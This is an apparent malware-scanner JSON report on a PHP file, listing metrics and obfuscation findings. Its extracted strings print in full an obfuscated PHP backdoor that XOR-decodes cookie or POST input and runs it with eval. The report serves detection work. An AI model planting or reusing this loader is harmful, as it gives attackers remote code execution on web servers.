{ "ml": { "v": "7", "eng": "2.0.1-rc.1", "lvl": -1, "conf": 0, "mods": [ { "cls": 0, "raw": 0.000018209219, "rte": "az", "prob": 0.000018209219 }, { "cls": 0, "raw": 0.000018239021, "rte": "az/scripts", "prob": 0.000018239021 }, { "cls": 0, "raw": 0.19909066, "rte": "az/php", "prob": 0.19909066 } ], "prob": 0.000018209219, "files": [ { "id": 0, "lvl": -1, "conf": 0, "prob": 0.000018209218978881836, "type": "php" } ], "version": "v18.18", "analyzed_at": "2026-06-15T06:59:07Z" }, "path": "103.43.46.26", "raw": { "v": "7", "tv": "061e3", "files": [ { "id": 0, "ctx": [ { "a": 0, "b": "ju)^#z#", "l": 1, "n": [ { "c": 2, "d": "php code embedded in string", "i": "metadata/lang/embedded::php", "o": 0, "z": 2933 } ] }, { "a": 6, "b": "bYEgqy\u0026r-)uUj1*wGTbUa%/3jb@n2fxMbmKk{Xoyvp%F4CY+q/fEnIyb@de2gb\u0026-JCXHREv(FWJb@F4ogb?7cb@dnhy?)Wbg\u0026EsVgc)Q9BAo#[vkzHJBVp%0gb*Hnlm1xzygpT[CYm^Kgb71gl)TPxl2}0OC{Lj9b@dFbgErxyg?{GeB9IUDb@F1nhae-CfEnIyb@de2gbJALzG*tFb@F1AhZHsHe*Snfvp%F4CY+q\u0026lnyqxhae-Dlm1xzygpT[CYm^Kh9@PDl)TPxb@m}ngb71fg*$3mCx!lRh9%2Nb@F7pgErxyg?{GeB9IUDb@F1nhae-CfEnIyb@de2gbJALzG*tFb@F1zg:L1Ee*Snfvp%F4CY+q\u0026lnHCAhaf5ygbJALzG*tFb@F1AgBj[De*Snfvp%F4CY+q\u0026lnHtxhaf5ygbJALzG*tFb@F1Bg:L1Ee*Snfvp%F4CY+q\u0026lnpqyhaf5ygbJALzG*tFb@F1zivcKJe*Snfvp%F4CY+q\u0026lnP#Cl[P=vg*$3mCx!lRh9%8Rb@F7yb@dq=xkR{rBTn[igc3Trl[P=vg*$3mCx!lRh9%8Nb@F7yb@dq=xkR{rBTn[igCHgkl[P=vg*$3mCx!lRh9%2Ob@F7yb@dq=xkR{rBTn[igC{Eol[P=vg*$3mCx!lRh9%2Tb@F7yb@dq=xkR{rBTn[if!\u003c$il[P=vg*$3mCx!lRh9%8Qb@F7yb@dq=xkR{rBTn[if/ZKql[P=vg*$3mCx!lRh9%8Rb@F7yb@dq=xkR{rBTn[igc3Trl[P=vg*$3mCx!lRh9%8Nb@F7yb@dq=xkR{rBTn[if!\u003c$il[P=vg*$3mCx!lRh9%8Ob@F7yb@dq=xkR{rBTn[igC{Eol[P=vg*$3mCx!lRh9%kFhaf5ygbJALzG*tFb@F1AgBj[De*Snfvp%F4CY+q\u0026ln{hFl[P=vg*$3mCx!lRh9%2Ob@F7yb@dq=xkR{rBTn[ihZHsHe*Snfvp%F4CY+q\u0026lnHqwhaf5ygbJALzG*tFb@F1Bg9[!Ce*Snfvp%F4CY+q\u0026lnfYyl[P=vg*$3mCx!lRh9%2Tb@F7yb@dq=xkR{rBTn[igCyajl[P=vg*$3mCx!lRh9%2Ob@F7yb@dq=xkR{rBTn[ih6\u003eaFb@m\u003elgbJ-PvSM^kBTn[ib@F7pgb71gl)TPxb@dq=xkR{rBTn[ihygjGe*Snfvp%F4CY+q\u0026lnykvhaf5ygbJALzG*tFb@F1BgBj[De*Snfvp%F4CY+q\u0026loctHl[P=vg*$3mCx!lRh9%5Qb@F7p", "l": 2 }, { "a": 2901, "b": "Ab]VgBsqoLy?d9!z!9AcbYEgqy\u0026r-)uUj1*wHP5\u0026", "l": 3 } ], "sha": "f7bb729d9d053456ea68e74821e493bb901502ca5f9b53ebab6e34afa79a8305", "fact": { "id": "php", "imp": [ [ "", "urldecode" ] ], "met": { "ast": { "max_depth": 8.0, "bind_count": 1.0, "call_count": 1.0, "node_count": 29.0, "identifier_count": 2.0, "string_literal_count": 1.0 }, "file": { "size": 2934.0, "entropy": 4.5, "size_bytes": 2934.0 }, "text": { "digit_ratio": 0.43, "space_count": 2.0, "total_lines": 3.0, "char_entropy": 4.5, "unique_chars": 64.0, "lines_over_200": 1.0, "lines_over_500": 1.0, "string_density": 0.33, "avg_line_length": 977.0, "lines_over_1000": 1.0, "max_line_length": 2894.0, "last_line_length": 32.0, "long_token_count": 1.0, "whitespace_ratio": 0.0, "most_common_ratio": 0.18, "identifier_density": 1.67, "line_length_stddev": 1355.57, "encoded_string_ratio": 1.0, "normalized_string_count": 0.58, "most_common_char_is_null": 0.0, "max_inline_whitespace_run": 1.0, "most_common_char_codepoint": 37.0, "normalized_unique_identifiers": 1.89 }, "binds": { "count": 1.0 }, "calls": { "count": 1.0 }, "binary": { "overall_entropy": 4.5 }, "strings": { "total": 1.0, "avg_length": 2875.0, "max_length": 2875.0, "avg_entropy": 4.41, "total_bytes": 2875.0, "very_long_strings": 1.0, "url_encoded_strings": 1.0 }, "consistency": { "extension_content_mismatch": 1.0, "extension_content_mismatch.script_as_unknown": 1.0 }, "identifiers": { "count": 2.0, "total": 5.0, "avg_length": 11.33, "max_length": 13.0, "min_length": 9.0, "avg_entropy": 3.12, "reuse_ratio": 0.6, "unique_count": 3.0, "length_stddev": 1.7, "all_lowercase_ratio": 0.67 } }, "str": [ [ 22, "u8", "%3C%3Fphp%0A%24agnwxu%20%3D%20%27d_xib9c7yn%5C%275m%231lkgv4op%2A0etsHra3f2u8-%27%3B%24jbbsxpu%20%3D%20Array%28%29%3B%24jbbsxpu%" ], [ 23, "u8", "%3C%3Fphp%0A%24agnwxu%20%3D%20%27d_xib9c7yn%5C%275m%231lkgv4op%2A0etsHra3f2u8-%27%3B%24jbbsxpu%20%3D%20Array%28%29%3B%24jbbsxpu%" ], [ 6, "url", "$payload_file = \"\u003c?php\n$agnwxu = 'd_xib9c7yn\\'5m#1lkgv4op*0etsHra3f2u8-';$jbbsxpu = Array();$jbbsxpu[] = $agnwxu[27].$agnwxu[22]" ], [ 2808, "xor", "erp-:2://erxert*\"\"3805er" ] ], "tgt": [ "urldecode" ], "val": { "file.stem": "103.43.46", "file.basename": "103.43.46.26", "source.language": "php", "source.imports[0]": "urldecode", "source.strings[0]": "$payload_file = \"\u003c?php\n$agnwxu = 'd_xib9c7yn\\'5m#1lkgv4op*0etsHra3f2u8-';$jbbsxpu = Array();$jbbsxpu[] = $agnwxu[27].$agnwxu[22];$jbbsxpu[] = $agnwxu[13];$jbbsxpu[] = $agnwxu[14].$agnwxu[34].$agnwxu[23].$agnwxu[31].$agnwxu[34].$agnwxu[14].$agnwxu[19].$agnwxu[4].$agnwxu[35].$agnwxu[29].$agnwxu[31].$agnwxu[31].$agnwxu[14].$agnwxu[35].$agnwxu[19].$agnwxu[11].$agnwxu[34].$agnwxu[19].$agnwxu[35].$agnwxu[29].$agnwxu[31].$agnwxu[11].$agnwxu[32].$agnwxu[35].$agnwxu[7].$agnwxu[23].$agnwxu[7].$agnwxu[14].$agnwxu[7].$agnwxu[30].$agnwxu[32].$agnwxu[0].$agnwxu[19].$agnwxu[30].$agnwxu[14].$agnwxu[5];$jbbsxpu[] = $agnwxu[6].$agnwxu[20].$agnwxu[33].$agnwxu[9].$agnwxu[25];$jbbsxpu[] = $agnwxu[26].$agnwxu[25].$agnwxu[28].$agnwxu[1].$agnwxu[28].$agnwxu[24].$agnwxu[21].$agnwxu[24].$agnwxu[29].$agnwxu[25];$jbbsxpu[] = $agnwxu[24].$agnwxu[2].$agnwxu[21].$agnwxu[15].$agnwxu[20].$agnwxu[0].$agnwxu[24];$jbbsxpu[] = $agnwxu[26].$agnwxu[33].$agnwxu[4].$agnwxu[26].$agnwxu[25].$agnwxu[28];$jbbsxpu[] = $agnwxu[29].$agnwxu[28].$agnwxu[28].$agnwxu[29].$agnwxu[8].$agnwxu[1].$agnwxu[12].$agnwxu[24].$agnwxu[28].$agnwxu[17].$agnwxu[24];$jbbsxpu[] = $agnwxu[26].$agnwxu[25].$agnwxu[28].$agnwxu[15].$agnwxu[24].$agnwxu[9];$jbbsxpu[] = $agnwxu[21].$agnwxu[29].$agnwxu[6].$agnwxu[16];foreach ($jbbsxpu[7]($_COOKIE, $_POST) as $dvjgn =\u003e $rcovbzz){function mzrzoo($jbbsxpu, $dvjgn, $acgjjp){return $jbbsxpu[6]($jbbsxpu[4]($dvjgn . $jbbsxpu[2], ($acgjjp / $jbbsxpu[8]($dvjgn)) + 1), 0, $acgjjp);}function iypjpq($jbbsxpu, $jkfuu){return @$jbbsxpu[9]($jbbsxpu[0], $jkfuu);}function ssczli($jbbsxpu, $jkfuu){$dfojslz = $jbbsxpu[3]($jkfuu) % 3;if (!$dfojslz) {eval($jkfuu[1]($jkfuu[2]));exit();}}$rcovbzz = iypjpq($jbbsxpu, $rcovbzz);ssczli($jbbsxpu, $jbbsxpu[5]($jbbsxpu[1], $rcovbzz ^ mzrzoo($jbbsxpu, $dvjgn, $jbbsxpu[8]($rcovbzz))));}\";", "source.strings[1]": "%3C%3Fphp%0A%24agnwxu%20%3D%20%27d_xib9c7yn%5C%275m%231lkgv4op%2A0etsHra3f2u8-%27%3B%24jbbsxpu%20%3D%20Array%28%29%3B%24jbbsxpu%5B%5D%20%3D%20%24agnwxu%5B27%5D.%24agnwxu%5B22%5D%3B%24jbbsxpu%5B%5D%20%3D%20%24agnwxu%5B13%5D%3B%24jbbsxpu%5B%5D%20%3D%20%24agnwxu%5B14%5D.%24agnwxu%5B34%5D.%24agnwxu%5B23%5D.%24agnwxu%5B31%5D.%24agnwxu%5B34%5D.%24agnwxu%5B14%5D.%24agnwxu%5B19%5D.%24agnwxu%5B4%5D.%24agnwxu%5B35%5D.%24agnwxu%5B29%5D.%24agnwxu%5B31%5D.%24agnwxu%5B31%5D.%24agnwxu%5B14%5D.%24agnwxu%5B35%5D.%24agnwxu%5B19%5D.%24agnwxu%5B11%5D.%24agnwxu%5B34%5D.%24agnwxu%5B19%5D.%24agnwxu%5B35%5D.%24agnwxu%5B29%5D.%24agnwxu%5B31%5D.%24agnwxu%5B11%5D.%24agnwxu%5B32%5D.%24agnwxu%5B35%5D.%24agnwxu%5B7%5D.%24agnwxu%5B23%5D.%24agnwxu%5B7%5D.%24agnwxu%5B14%5D.%24agnwxu%5B7%5D.%24agnwxu%5B30%5D.%24agnwxu%5B32%5D.%24agnwxu%5B0%5D.%24agnwxu%5B19%5D.%24agnwxu%5B30%5D.%24agnwxu%5B14%5D.%24agnwxu%5B5%5D%3B%24jbbsxpu%5B%5D%20%3D%20%24agnwxu%5B6%5D.%24agnwxu%5B20%5D.%24agnwxu%5B33%5D.%24agnwxu%5B9%5D.%24agnwxu%5B25%5D%3B%24jbbsxpu%5B%5D%20%3D%20%24agnwxu%5B26%5D.%24agnwxu%5B25%5D.%24agnwxu%5B28%5D.%24agnwxu%5B1%5D.%24agnwxu%5B28%5D.%24agnwxu%5B24%5D.%24agnwxu%5B21%5D.%24agnwxu%5B24%5D.%24agnwxu%5B29%5D.%24agnwxu%5B25%5D%3B%24jbbsxpu%5B%5D%20%3D%20%24agnwxu%5B24%5D.%24agnwxu%5B2%5D.%24agnwxu%5B21%5D.%24agnwxu%5B15%5D.%24agnwxu%5B20%5D.%24agnwxu%5B0%5D.%24agnwxu%5B24%5D%3B%24jbbsxpu%5B%5D%20%3D%20%24agnwxu%5B26%5D.%24agnwxu%5B33%5D.%24agnwxu%5B4%5D.%24agnwxu%5B26%5D.%24agnwxu%5B25%5D.%24agnwxu%5B28%5D%3B%24jbbsxpu%5B%5D%20%3D%20%24agnwxu%5B29%5D.%24agnwxu%5B28%5D.%24agnwxu%5B28%5D.%24agnwxu%5B29%5D.%24agnwxu%5B8%5D.%24agnwxu%5B1%5D.%24agnwxu%5B12%5D.%24agnwxu%5B24%5D.%24agnwxu%5B28%5D.%24agnwxu%5B17%5D.%24agnwxu%5B24%5D%3B%24jbbsxpu%5B%5D%20%3D%20%24agnwxu%5B26%5D.%24agnwxu%5B25%5D.%24agnwxu%5B28%5D.%24agnwxu%5B15%5D.%24agnwxu%5B24%5D.%24agnwxu%5B9%5D%3B%24jbbsxpu%5B%5D%20%3D%20%24agnwxu%5B21%5D.%24agnwxu%5B29%5D.%24agnwxu%5B6%5D.%24agnwxu%5B16%5D%3Bforeach%20%28%24jbbsxpu%5B7%5D%28%24_COOKIE%2C%20%24_POST%29%20as%20%24dvjgn%20%3D%3E%20%24rcovbzz%29%7Bfunction%20mzrzoo%28%24jbbsxpu%2C%20%24dvjgn%2C%20%24acgjjp%29%7Breturn%20%24jbbsxpu%5B6%5D%28%24jbbsxpu%5B4%5D%28%24dvjgn%20.%20%24jbbsxpu%5B2%5D%2C%20%28%24acgjjp%20/%20%24jbbsxpu%5B8%5D%28%24dvjgn%29%29%20%2B%201%29%2C%200%2C%20%24acgjjp%29%3B%7Dfunction%20iypjpq%28%24jbbsxpu%2C%20%24jkfuu%29%7Breturn%20%40%24jbbsxpu%5B9%5D%28%24jbbsxpu%5B0%5D%2C%20%24jkfuu%29%3B%7Dfunction%20ssczli%28%24jbbsxpu%2C%20%24jkfuu%29%7B%24dfojslz%20%3D%20%24jbbsxpu%5B3%5D%28%24jkfuu%29%20%25%203%3Bif%20%28%21%24dfojslz%29%20%7Beval%28%24jkfuu%5B1%5D%28%24jkfuu%5B2%5D%29%29%3Bexit%28%29%3B%7D%7D%24rcovbzz%20%3D%20iypjpq%28%24jbbsxpu%2C%20%24rcovbzz%29%3Bssczli%28%24jbbsxpu%2C%20%24jbbsxpu%5B5%5D%28%24jbbsxpu%5B1%5D%2C%20%24rcovbzz%20%5E%20mzrzoo%28%24jbbsxpu%2C%20%24dvjgn%2C%20%24jbbsxpu%5B8%5D%28%24rcovbzz%29%29%29%29%3B%7D", "source.strings[2]": "erp-:2://erxert*\"\"3805er", "source.has_imports": true } }, "find": [ { "id": "metadata/lang/scripted::php-open-tag", "conf": 0.949999988079071, "crit": 1, "desc": "PHP opening tag present" }, { "id": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace", "atk": "T1027", "mbc": "B0032", "conf": 0.699999988079071, "crit": 2, "desc": "Very low whitespace ratio (minified/compressed)" }, { "id": "metadata/lang/embedded::php", "conf": 1.0, "crit": 2, "desc": "php code embedded in string" } ], "path": "103.43.46.26", "risk": 1, "size": 2934, "type": "php" } ] } }